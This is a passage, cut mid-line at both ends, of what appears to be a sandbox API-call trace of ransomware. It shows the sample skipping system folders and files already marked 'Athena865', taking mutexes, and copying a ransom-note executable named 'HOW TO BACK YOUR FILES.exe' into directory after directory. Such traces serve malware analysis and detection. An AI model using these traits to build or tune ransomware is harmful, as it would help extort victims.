FILES.exe") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2=".") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="..") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="windows") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="bootmgr") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="temp") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="pagefile.sys") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="boot") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="ids.txt") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="ntuser.dat") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="perflogs") returned 1 [0100.574] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="MSBuild") returned 1 [0100.574] lstrlenW (lpString="zXm1.mp4.Athena865") returned 18 [0100.574] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.574] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.574] ReleaseMutex (hMutex=0xec) returned 1 [0100.574] CloseHandle (hObject=0xec) returned 1 [0100.574] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Adobe" | out: lpString1="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0100.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529450 | out: hHeap=0x4f0000) returned 1 [0100.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dc40 | out: hHeap=0x4f0000) returned 1 [0100.574] lstrlenW (lpString="C:\\Users\\All Users\\Adobe") returned 24 [0100.574] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3DF65E32D1EE5910197C4CFB39BB35CE") returned 0xec [0100.575] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.575] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe" | out: lpString1="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0100.575] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.575] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.575] GetLastError () returned 0x0 [0100.575] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.576] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.576] CloseHandle (hObject=0xf4) returned 1 [0100.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.576] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.576] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0100.577] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.577] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.577] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0100.577] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.577] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.577] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.577] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0100.577] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0100.577] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1 [0100.577] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1 [0100.577] lstrlenW (lpString="Acrobat") returned 7 [0100.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc40 [0100.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x5175c8 [0100.577] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0100.577] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0100.577] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.578] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1 [0100.578] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1 [0100.578] lstrlenW (lpString="ARM") returned 3 [0100.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f558 [0100.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f9a0 [0100.579] lstrcatW (in: lpString1="ARM", lpString2="\\" | out: lpString1="ARM\\") returned="ARM\\" [0100.579] lstrcatW (in: lpString1="ARM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARM\\HOW TO BACK YOUR FILES.exe") returned="ARM\\HOW TO BACK YOUR FILES.exe" [0100.579] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.579] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.579] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.579] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0100.579] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0100.579] ReleaseMutex (hMutex=0xec) returned 1 [0100.579] CloseHandle (hObject=0xec) returned 1 [0100.579] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Application Data" | out: lpString1="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0100.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517618 | out: hHeap=0x4f0000) returned 1 [0100.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aff0 | out: hHeap=0x4f0000) returned 1 [0100.580] lstrlenW (lpString="C:\\Users\\All Users\\Application Data") returned 35 [0100.580] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B48717A5FE982683AC0DEC620979D723") returned 0xec [0100.580] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.580] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Application Data" | out: lpString1="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0100.580] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.580] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.580] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.580] GetLastError () returned 0x0 [0100.580] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.581] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.581] CloseHandle (hObject=0xf4) returned 1 [0100.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.581] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.581] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0100.581] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.581] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.581] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0100.581] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.581] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.581] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.581] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0100.581] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0100.581] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0100.581] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0100.582] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0100.582] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0100.582] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0100.582] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0100.582] lstrlenW (lpString="Adobe") returned 5 [0100.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aff0 [0100.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52fc80 [0100.582] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0100.582] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0100.582] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.582] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0100.582] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.582] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.582] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0100.582] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0100.583] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0100.583] lstrlenW (lpString="Application Data") returned 16 [0100.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f570 [0100.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x540b68 [0100.583] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0100.583] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0100.583] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.583] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0100.584] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0100.584] lstrlenW (lpString="Desktop") returned 7 [0100.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f588 [0100.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x52fc20 [0100.584] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0100.584] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0100.584] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.585] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0100.585] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0100.585] lstrlenW (lpString="Documents") returned 9 [0100.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f5a0 [0100.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524568 [0100.585] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0100.585] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0100.585] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.586] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0100.586] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0100.586] lstrcmpiW (lpString1="Favorites", 